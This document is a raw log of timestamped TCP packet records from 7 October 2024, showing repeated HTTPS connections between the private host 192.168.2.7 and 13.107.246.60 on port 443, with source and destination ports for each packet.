Oct 7, 2024 06:44:53.910849094 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.962814093 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.962837934 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.962850094 CEST	49974	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.962855101 CEST	443	49974	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.967340946 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.967375040 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:53.967433929 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.967905998 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:53.967921972 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.402789116 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.403381109 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.403409004 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.403812885 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.403817892 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.425991058 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.426476002 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.426516056 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.426930904 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.426942110 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.430155039 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.430429935 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.430445910 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.430756092 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.430762053 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.457336903 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.457647085 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.457655907 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.457983971 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.457994938 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.506611109 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.506670952 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.506736994 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.506925106 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.506938934 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.506947041 CEST	49975	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.506953001 CEST	443	49975	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.509867907 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.509983063 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.510097980 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.510257959 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.510319948 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.527745008 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.527770996 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.527842045 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.527843952 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.527951956 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528027058 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.528050900 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528062105 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.528072119 CEST	49978	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528075933 CEST	443	49978	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.528439999 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.528496027 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528528929 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528548002 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.528558969 CEST	49976	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.528563976 CEST	443	49976	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.530630112 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530659914 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.530668974 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530675888 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.530720949 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530742884 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530839920 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530852079 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.530874968 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.530883074 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.560859919 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.561008930 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.561121941 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.561249971 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.561256886 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.561294079 CEST	49977	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.561296940 CEST	443	49977	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.563293934 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.563366890 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.563574076 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.563733101 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.563750982 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.613923073 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.614574909 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.614598036 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.615063906 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.615068913 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715181112 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715205908 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715301991 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.715322018 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715548992 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.715557098 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715574026 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.715753078 CEST	49979	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.715770006 CEST	443	49979	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.718194008 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.718225002 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:54.718298912 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.718444109 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:54.718460083 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.149261951 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.149914980 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.149945021 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.150264978 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.150270939 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.175622940 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.175981045 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.176000118 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.176184893 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.176189899 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.183235884 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.183552980 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.183562994 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.183871031 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.183875084 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.228399038 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.228801012 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.228828907 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.229217052 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.229223013 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.252002954 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.252079964 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.252125025 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.252151012 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.252185106 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.252203941 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.252238989 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.276731014 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.276792049 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.276834011 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.276860952 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.276878119 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.276890039 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.277014971 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.283225060 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283278942 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283335924 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.283344030 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283459902 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.283459902 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.283467054 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283778906 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283854008 CEST	443	49982	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.283895969 CEST	49982	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.286051989 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.286088943 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.286166906 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.286305904 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.286318064 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332072973 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332133055 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332221985 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.332242012 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332299948 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332376957 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.332376957 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.332439899 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.332454920 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.332465887 CEST	49983	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.332470894 CEST	443	49983	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.333909988 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.334003925 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.334012032 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.334064960 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.334105968 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.334137917 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.334141970 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.334152937 CEST	49980	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.334156036 CEST	443	49980	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.336023092 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.336040020 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.336103916 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.336313009 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.336323977 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.337028027 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.337069035 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.337122917 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.337749958 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.337764978 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363018036 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363074064 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363112926 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363135099 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363173008 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363192081 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363193989 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363240004 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363333941 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363348961 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.363357067 CEST	49981	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.363362074 CEST	443	49981	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.365042925 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.365613937 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.365654945 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.365716934 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.365843058 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.365855932 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.365885973 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.365900040 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.366303921 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.366307974 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.465996027 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.466013908 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.466068029 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.466068983 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.466115952 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.466366053 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.466372967 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.466382980 CEST	49984	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.466387033 CEST	443	49984	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.469295979 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.469331980 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.469439983 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.469614983 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.469630003 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.929920912 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.930457115 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.930474043 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:55.930953979 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:55.930958033 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.006733894 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.007082939 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.007091045 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.007457972 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.007462978 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.021467924 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.022313118 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.022336006 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.022743940 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.022748947 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.029292107 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.029400110 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.029501915 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.031335115 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.033129930 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.033150911 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.033164978 CEST	49985	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.033170938 CEST	443	49985	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.033432961 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.033458948 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.034167051 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.034173965 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.036546946 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.036597013 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.036684990 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.036794901 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.036808014 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.103152037 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.103667021 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.103684902 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.104068995 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.104074955 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.109414101 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.109565973 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.109627008 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.109656096 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.109663010 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.109671116 CEST	49986	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.109673977 CEST	443	49986	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.111654997 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.111696005 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.111778021 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.111903906 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.111920118 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.121051073 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.121233940 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.121294975 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.121320963 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.121329069 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.121355057 CEST	49988	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.121362925 CEST	443	49988	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.122948885 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.122983932 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.123048067 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.123159885 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.123172045 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.138133049 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.138300896 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.138437986 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.138592958 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.138609886 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.138619900 CEST	49987	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.138624907 CEST	443	49987	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.140712023 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.140752077 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.140841007 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.140939951 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.140954018 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.202593088 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.202631950 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.202667952 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.202729940 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.202764988 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.203027010 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.203038931 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.203057051 CEST	49989	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.203062057 CEST	443	49989	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.676441908 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.725090027 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.751065969 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.764233112 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.810484886 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.818809986 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.821006060 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.865694046 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.875979900 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.875998974 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.876933098 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.876936913 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.883477926 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.883502007 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.886374950 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.886379957 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.887012959 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.887056112 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.892385960 CEST	49992	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.892401934 CEST	443	49992	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.892915010 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.892925024 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.893501043 CEST	49993	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.893505096 CEST	443	49993	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.972213030 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.972455025 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.972534895 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.972599983 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.972611904 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.972621918 CEST	49990	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.972626925 CEST	443	49990	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.981403112 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.981556892 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.981617928 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.981668949 CEST	49991	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:56.981684923 CEST	443	49991	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:56.981715918 CEST	49991	443	192.168.2.7	13.107.246.60
